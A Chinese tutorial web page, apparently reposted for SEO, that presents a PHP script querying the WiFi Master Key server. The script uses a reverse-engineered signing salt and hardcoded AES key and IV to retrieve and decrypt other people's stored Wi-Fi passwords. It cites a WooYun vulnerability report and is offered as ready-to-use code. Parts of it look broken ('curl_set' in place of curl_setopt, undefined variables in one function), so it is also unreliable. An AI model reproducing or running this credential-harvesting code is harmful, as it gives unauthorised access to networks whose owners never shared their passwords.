WIFI万能钥匙密码查询接口实例
网络编程 2021-07-05 09:09www.168986.cn编程入门
本篇文章由狼蚁SEO长沙网络推广给大家分享的WIFI万能钥匙密码查询接口实例,代码非常简单,适合程序员开发使用,感兴趣的朋友跟着长沙网络推广一起学习吧
不废话了,直接给大家贴代码了
<?php //some code from http://.wooyun./bugs/wooyun-2015-099268 $bssid = "c8:3a:35:fa:b8:80" ; $ssid = "Podinns2F03" ; if (isset( $bssid ) && isset( $ssid )){ //update salt $ret = request( $bssid , $ssid , md5(rand(1, 10000))); $ret = json_decode( $ret ); $ret = request( $bssid , $ssid , $ret ->retSn); $ret = json_decode( $ret ); if ( $ret ->retCd == 0){ if ( $ret ->qryapwd->retCd == 0){ $list = $ret ->qryapwd->psws; foreach ( $list as $wifi ){ echo 'SSID: ' . $wifi ->ssid. "\n" ; echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ; echo 'BSSID: ' . $wifi ->bssid. "\n" ; if ( $wifi ->xUser){ echo 'xUser: ' . $wifi ->xUser. "\n" ; echo 'xPwd: ' . $wifi ->xPwd. "\n" ; } } } else { echo $ret ->qryapwd->retMsg; } } } function request( $bssid , $ssid , $salt , $dhid = 'ff80808145798a014bbdfa375369' ){ $data = array (); $data [ 'appid' ] = '0008' ; $data [ 'bssid' ] = $bssid ; $data [ 'chanid' ] = 'gw' ; $data [ 'dhid' ] = $dhid ; $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ; $data [ 'lang' ] = '' ; $data [ 'mac' ] = '60f81dad28de' ; $data [ 'method' ] = 'getDeepSecChkSwitch' ; $data [ 'pid' ] = 'qryapwd:monswitch' ; $data [ 'ssid' ] = $ssid ; $data [ 'st' ] = 'm' ; $data [ 'uhid' ] = 'a0000000000000000000000000000001' ; $data [ 'v' ] = '324' ; $data [ 'sign' ] = sign( $data , $salt ); $curl = curl_init(); curl_set( $curl , CURLOPT_URL, 'http://wifiapi02.51y5./wifiapi/fa.cmd' ); curl_set( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' ); curl_set( $curl , CURLOPT_SSL_VERIFYPEER, false); // s verifying certificate curl_set( $curl , CURLOPT_RETURNTRANSFER, true); curl_set( $curl , CURLOPT_POST, true); // enable posting curl_set( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images curl_set( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload $r = curl_exec( $curl ); curl_close( $curl ); return $r ; } function registerNewDevice(){ $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ; $data = array (); $data [ 'appid' ] = '0008' ; $data [ 'bssid' ] = $bssid ; $data [ 'chanid' ] = 'gw' ; $data [ 'dhid' ] = $dhid ; $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ; $data [ 'lang' ] = '' ; $data [ 'mac' ] = '60f81dad28de' ; $data [ 'method' ] = 'getDeepSecChkSwitch' ; $data [ 'pid' ] = 'qryapwd:monswitch' ; $data [ 'ssid' ] = $ssid ; $data [ 'st' ] = 'm' ; $data [ 'uhid' ] = 'a0000000000000000000000000000001' ; $data [ 'v' ] = '324' ; $data [ 'sign' ] = sign( $data , $salt ); } function sign( $array , $salt ){ // 签名算法 $request_str = '' ; // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort ksort( $array ); foreach ( $array as $key => $value ) { $request_str .= $value ; } $sign = md5( $request_str . $salt ); return strtoupper ( $sign ); } function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){ //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密 //[length][password][timestamp] $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H" , $str ),MCRYPT_MODE_CBC, $iv ); return substr (trim( $decrypted_string ),3,-13); } ?>
以上代码很简单吗,WIFI万能钥匙密码查询接口代码就全部写完了,希望大家喜欢。
编程语言
- 如何快速学会编程 如何快速学会ug编程
- 免费学编程的app 推荐12个免费学编程的好网站
- 电脑怎么编程:电脑怎么编程网咯游戏菜单图标
- 如何写代码新手教学 如何写代码新手教学手机
- 基础编程入门教程视频 基础编程入门教程视频华
- 编程演示:编程演示浦丰投针过程
- 乐高编程加盟 乐高积木编程加盟
- 跟我学plc编程 plc编程自学入门视频教程
- ug编程成航林总 ug编程实战视频
- 孩子学编程的好处和坏处
- 初学者学编程该从哪里开始 新手学编程从哪里入
- 慢走丝编程 慢走丝编程难学吗
- 国内十强少儿编程机构 中国少儿编程机构十强有
- 成人计算机速成培训班 成人计算机速成培训班办
- 孩子学编程网上课程哪家好 儿童学编程比较好的
- 代码编程教学入门软件 代码编程教程